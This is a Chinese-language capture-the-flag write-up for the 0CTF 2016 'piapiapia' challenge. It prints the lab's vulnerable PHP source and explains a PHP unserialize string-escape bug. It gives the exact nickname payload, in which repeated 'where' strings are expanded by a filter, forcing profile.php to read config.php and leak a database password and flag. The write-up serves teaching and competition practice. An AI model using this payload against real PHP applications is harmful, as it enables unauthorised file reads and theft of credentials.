一個很可愛的登錄界面:
進行一下目錄掃描,發現源碼泄露www.zip,把源碼給出:
index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
|
<?php require_once ( 'class.php' ); if ( $_SESSION [ 'username' ]) { header( 'Location: profile.php' ); exit ; } if ( $_POST [ 'username' ] && $_POST [ 'password' ]) { $username = $_POST [ 'username' ]; $password = $_POST [ 'password' ]; if ( strlen ( $username ) < 3 or strlen ( $username ) > 16) die ( 'Invalid user name' ); if ( strlen ( $password ) < 3 or strlen ( $password ) > 16) die ( 'Invalid password' ); if ( $user ->login( $username , $password )) { $_SESSION [ 'username' ] = $username ; header( 'Location: profile.php' ); exit ; } else { die ( 'Invalid user name or password' ); } } else { ?> <!DOCTYPE html> <html> <head> <title>Login</title> <link href= "static/bootstrap.min.css" rel= "external nofollow" rel= "external nofollow" rel= "external nofollow" rel= "external nofollow" rel= "stylesheet" > <script src= "static/jquery.min.js" ></script> <script src= "static/bootstrap.min.js" ></script> </head> <body> <div class = "container" style= "margin-top:100px" > <form action= "index.php" method= "post" class = "well" style= "width:220px;margin:0px auto;" > <img src= "static/piapiapia.gif" class = "img-memeda " style= "width:180px;margin:0px auto;" > <h3>Login</h3> <label>Username:</label> <input type= "text" name= "username" style= "height:30px" class = "span3" /> <label>Password:</label> <input type= "password" name= "password" style= "height:30px" class = "span3" > <button type= "submit" class = "btn btn-primary" >LOGIN</button> </form> </div> </body> </html> <?php } ?> |
在輸入賬號密碼之后進入了profile.php,下面是profile.php的源碼:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
<?php require_once ( 'class.php' ); if ( $_SESSION [ 'username' ] == null) { die ( 'Login First' ); } $username = $_SESSION [ 'username' ]; $profile = $user ->show_profile( $username ); if ( $profile == null) { header( 'Location: update.php' ); } else { $profile = unserialize( $profile ); $phone = $profile [ 'phone' ]; $email = $profile [ 'email' ]; $nickname = $profile [ 'nickname' ]; $photo = base64_encode ( file_get_contents ( $profile [ 'photo' ])); ?> <!DOCTYPE html> <html> <head> <title>Profile</title> <link href= "static/bootstrap.min.css" rel= "external nofollow" rel= "external nofollow" rel= "external nofollow" rel= "external nofollow" rel= "stylesheet" > <script src= "static/jquery.min.js" ></script> <script src= "static/bootstrap.min.js" ></script> </head> <body> <div class = "container" style= "margin-top:100px" > <img src= "data:image/gif;base64,<?php echo $photo; ?>" class = "img-memeda " style= "width:180px;margin:0px auto;" > <h3>Hi <?php echo $nickname ;?></h3> <label>Phone: <?php echo $phone ;?></label> <label>Email: <?php echo $email ;?></label> </div> </body> </html> <?php } ?> |
還有注冊頁面的源碼(沒有太大用),register.php:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
|
<?php require_once ( 'class.php' ); if ( $_POST [ 'username' ] && $_POST [ 'password' ]) { $username = $_POST [ 'username' ]; $password = $_POST [ 'password' ]; if ( strlen ( $username ) < 3 or strlen ( $username ) > 16) die ( 'Invalid user name' ); if ( strlen ( $password ) < 3 or strlen ( $password ) > 16) die ( 'Invalid password' ); if (! $user ->is_exists( $username )) { $user ->register( $username , $password ); echo 'Register OK!<a href="index.php" rel="external nofollow" >Please Login</a>' ; } else { die ( 'User name Already Exists' ); } } else { ?> <!DOCTYPE html> <html> <head> <title>Login</title> <link href= "static/bootstrap.min.css" rel= "external nofollow" rel= "external nofollow" rel= "external nofollow" rel= "external nofollow" rel= "stylesheet" > <script src= "static/jquery.min.js" ></script> <script src= "static/bootstrap.min.js" ></script> </head> <body> <div class = "container" style= "margin-top:100px" > <form action= "register.php" method= "post" class = "well" style= "width:220px;margin:0px auto;" > <img src= "static/piapiapia.gif" class = "img-memeda " style= "width:180px;margin:0px auto;" > <h3>Register</h3> <label>Username:</label> <input type= "text" name= "username" style= "height:30px" class = "span3" /> <label>Password:</label> <input type= "password" name= "password" style= "height:30px" class = "span3" > <button type= "submit" class = "btn btn-primary" >REGISTER</button> </form> </div> </body> </html> <?php } ?> |
然后是update.php:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
|
<?php require_once ( 'class.php' ); if ( $_SESSION [ 'username' ] == null) { die ( 'Login First' ); } if ( $_POST [ 'phone' ] && $_POST [ 'email' ] && $_POST [ 'nickname' ] && $_FILES [ 'photo' ]) { $username = $_SESSION [ 'username' ]; if (!preg_match( '/^\d{11}$/' , $_POST [ 'phone' ])) die ( 'Invalid phone' ); if (!preg_match( '/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/' , $_POST [ 'email' ])) die ( 'Invalid email' ); if (preg_match( '/[^a-zA-Z0-9_]/' , $_POST [ 'nickname' ]) || strlen ( $_POST [ 'nickname' ]) > 10) die ( 'Invalid nickname' ); $file = $_FILES [ 'photo' ]; if ( $file [ 'size' ] < 5 or $file [ 'size' ] > 1000000) die ( 'Photo size error' ); move_uploaded_file( $file [ 'tmp_name' ], 'upload/' . md5( $file [ 'name' ])); $profile [ 'phone' ] = $_POST [ 'phone' ]; $profile [ 'email' ] = $_POST [ 'email' ]; $profile [ 'nickname' ] = $_POST [ 'nickname' ]; $profile [ 'photo' ] = 'upload/' . md5( $file [ 'name' ]); $user ->update_profile( $username , serialize( $profile )); echo 'Update Profile Success!<a href="profile.php" rel="external nofollow" >Your Profile</a>' ; } else { ?> <!DOCTYPE html> <html> <head> <title>UPDATE</title> <link href= "static/bootstrap.min.css" rel= "external nofollow" rel= "external nofollow" rel= "external nofollow" rel= "external nofollow" rel= "stylesheet" > <script src= "static/jquery.min.js" ></script> <script src= "static/bootstrap.min.js" ></script> </head> <body> <div class = "container" style= "margin-top:100px" > <form action= "update.php" method= "post" enctype= "multipart/form-data" class = "well" style= "width:220px;margin:0px auto;" > <img src= "static/piapiapia.gif" class = "img-memeda " style= "width:180px;margin:0px auto;" > <h3>Please Update Your Profile</h3> <label>Phone:</label> <input type= "text" name= "phone" style= "height:30px" class = "span3" /> <label>Email:</label> <input type= "text" name= "email" style= "height:30px" class = "span3" /> <label>Nickname:</label> <input type= "text" name= "nickname" style= "height:30px" class = "span3" > <label for = "file" >Photo:</label> <input type= "file" name= "photo" style= "height:30px" class = "span3" /> <button type= "submit" class = "btn btn-primary" >UPDATE</button> </form> </div> </body> </html> <?php } ?> |
核心的處理代碼,class.php:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
|
<?php require ( 'config.php' ); class user extends mysql{ private $table = 'users' ; public function is_exists( $username ) { $username = parent::filter( $username ); $where = "username = '$username'" ; return parent::select( $this ->table, $where ); } public function register( $username , $password ) { $username = parent::filter( $username ); $password = parent::filter( $password ); $key_list = Array( 'username' , 'password' ); $value_list = Array( $username , md5( $password )); return parent::insert( $this ->table, $key_list , $value_list ); } public function login( $username , $password ) { $username = parent::filter( $username ); $password = parent::filter( $password ); $where = "username = '$username'" ; $object = parent::select( $this ->table, $where ); if ( $object && $object ->password === md5( $password )) { return true; } else { return false; } } public function show_profile( $username ) { $username = parent::filter( $username ); $where = "username = '$username'" ; $object = parent::select( $this ->table, $where ); return $object ->profile; } public function update_profile( $username , $new_profile ) { $username = parent::filter( $username ); $new_profile = parent::filter( $new_profile ); $where = "username = '$username'" ; return parent::update( $this ->table, 'profile' , $new_profile , $where ); } public function __tostring() { return __class__ ; } } class mysql { private $link = null; public function connect( $config ) { $this ->link = mysql_connect( $config [ 'hostname' ], $config [ 'username' ], $config [ 'password' ] ); mysql_select_db( $config [ 'database' ]); mysql_query( "SET sql_mode='strict_all_tables'" ); return $this ->link; } public function select( $table , $where , $ret = '*' ) { $sql = "SELECT $ret FROM $table WHERE $where" ; $result = mysql_query( $sql , $this ->link); return mysql_fetch_object( $result ); } public function insert( $table , $key_list , $value_list ) { $key = implode( ',' , $key_list ); $value = '\'' . implode( '\',\'' , $value_list ) . '\'' ; $sql = "INSERT INTO $table ($key) VALUES ($value)" ; return mysql_query( $sql ); } public function update( $table , $key , $value , $where ) { $sql = "UPDATE $table SET $key = '$value' WHERE $where" ; return mysql_query( $sql ); } public function filter( $string ) { $escape = array ( '\'' , '\\\\' ); $escape = '/' . implode( '|' , $escape ) . '/' ; $string = preg_replace( $escape , '_' , $string ); $safe = array ( 'select' , 'insert' , 'update' , 'delete' , 'where' ); $safe = '/' . implode( '|' , $safe ) . '/i' ; return preg_replace( $safe , 'hacker' , $string ); } public function __tostring() { return __class__ ; } } session_start(); $user = new user(); $user ->connect( $config ); |
最后是config.php:
1
2
3
4
5
6
7
|
<?php $config [ 'hostname' ] = '127.0.0.1' ; $config [ 'username' ] = 'root' ; $config [ 'password' ] = '' ; $config [ 'database' ] = '' ; $flag = '' ; ?> |
看來flag就是在config.php中了,要想辦法拿到config.php的內容了。
然后就是代碼審計了。
seay代碼審計系統也可以給點線索的:
這個地方貌似有個文件讀取的地方,在profile.php中:
1
2
3
4
5
6
7
|
else { $profile = unserialize( $profile ); $phone = $profile [ 'phone' ]; $email = $profile [ 'email' ]; $nickname = $profile [ 'nickname' ]; $photo = base64_encode ( file_get_contents ( $profile [ 'photo' ])); ?> |
上面還有個反序列化unserialize,感覺有戲,如果$profile[‘photo']是config.php就可以讀取到了,可以對photo進行操作的地方在update.php,有phone、email、nickname和photo這幾個。
1
2
|
$profile = a:4:{s:5: "phone" ;s:11: "12345678901" ;s:5: "email" ;s:8: "ss@q.com" ;s:8: "nickname" ;s:8: "sea_sand" ;s:5: "photo" ;s:10: "config.php" ;}s:39: "upload/804f743824c0451b2f60d81b63b6a900" ;} print_r(unserialize( $profile )); |
結果如下:
1
2
3
4
5
6
7
|
Array ( [phone] => 12345678901 [email] => ss@q.com [nickname] => sea_sand [photo] => config.php ) |
可以看到反序列化之后,最后面upload這一部分就沒了,下面就是想辦法把config.php塞進去了。
從數組順序上看是和上面數組的順序一樣的,可以抓個包看下post順序,那么最有可能的就是從nickname下手了。
在設置了$profile之后,用update_profile()函數進行處理:
1
2
3
4
5
6
7
|
public function update_profile( $username , $new_profile ) { $username = parent::filter( $username ); $new_profile = parent::filter( $new_profile ); $where = "username = '$username'" ; return parent::update( $this ->table, 'profile' , $new_profile , $where ); } |
進行了過濾:
1
2
3
4
5
6
7
8
9
|
public function filter( $string ) { $escape = array ( '\'' , '\\\\' ); $escape = '/' . implode( '|' , $escape ) . '/' ; $string = preg_replace( $escape , '_' , $string ); $safe = array ( 'select' , 'insert' , 'update' , 'delete' , 'where' ); $safe = '/' . implode( '|' , $safe ) . '/i' ; return preg_replace( $safe , 'hacker' , $string ); } |
有兩個正則過濾,帶上輸入nickname時候有一個正則,總共三個過濾的地方,首先要繞過第一個輸入時候的正則:
1
2
3
4
5
6
7
|
if (preg_match( '/[^a-zA-Z0-9_]/' , $_POST [ 'nickname' ]) || strlen ( $_POST [ 'nickname' ]) > 10) die ( 'Invalid nickname' ); 數組即可繞過: nickname[]= 那么 $profile 就是這樣了: $profile = a:4:{s:5: "phone" ;s:11: "12345678901" ;s:5: "email" ;s:8: "ss@q.com" ;s:8: "nickname" ;a:1:{i:0;s:3: "xxx" };s:5: "photo" ;s:10: "config.php" ;}s:39: "upload/804f743824c0451b2f60d81b63b6a900" ;} |
后面的正則要怎么利用呢,可以看到如果我們輸入的有where,會替換成hacker,這樣的話長度就變了,序列化后的每個變量都是有長度的,那么反序列化會怎么處理呢?我們應該怎么構造呢?
數組繞過了第一個正則過濾之后,如果nickname最后面塞上";}s:5:“photo”;s:10:“config.php”;},一共是34個字符,如果利用正則替換34個where,不就可以把這34個給擠出去,后面的upload因為序列化串被我們閉合了也就沒用了:
1
2
3
|
nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere ";}s:5:" photo ";s:10:" config.php";} $profile = a:4:{s:5: "phone" ;s:11: "12345678901" ;s:5: "email" ;s:8: "ss@q.com" ;s:8: "nickname" ;a:1:{i:0;s:204: "wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere" };s:5: "photo" ;s:10: "config.php" ;}s:39: "upload/804f743824c0451b2f60d81b63b6a900" ;} |
在where被正則匹配換成hacker之后,正好滿足長度,然后后面的"};s:5:“photo”;s:10:“config.php”;}也就不是nickname的一部分了,被反序列化的時候就會被當成photo,就可以讀取到config.php的內容了。
下面開始操作:注冊之后登陸,進入到update.php頁面,輸入信息及上傳圖片,用bp抓包把nickname改成數組即可:
然后進入到profile中查看圖片信息,把base64碼解碼:
PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFnezBjdGZfMjAxNl91bnNlcmlhbGl6ZV9pc192ZXJ5X2dvb2QhfSc7Cj8+Cg==
解碼得到:
1
2
3
4
5
6
7
|
<?php $config [ 'hostname' ] = '127.0.0.1' ; $config [ 'username' ] = 'root' ; $config [ 'password' ] = 'qwertyuiop' ; $config [ 'database' ] = 'challenges' ; $flag = 'flag{0ctf_2016_unserialize_is_very_good!}' ; ?> |
總結
以上所述是小編給大家介紹的php反序列化長度變化尾部字符串逃逸(0CTF-2016-piapiapia),希望對大家有所幫助!
原文鏈接:https://blog.csdn.net/zz_Caleb/article/details/96777110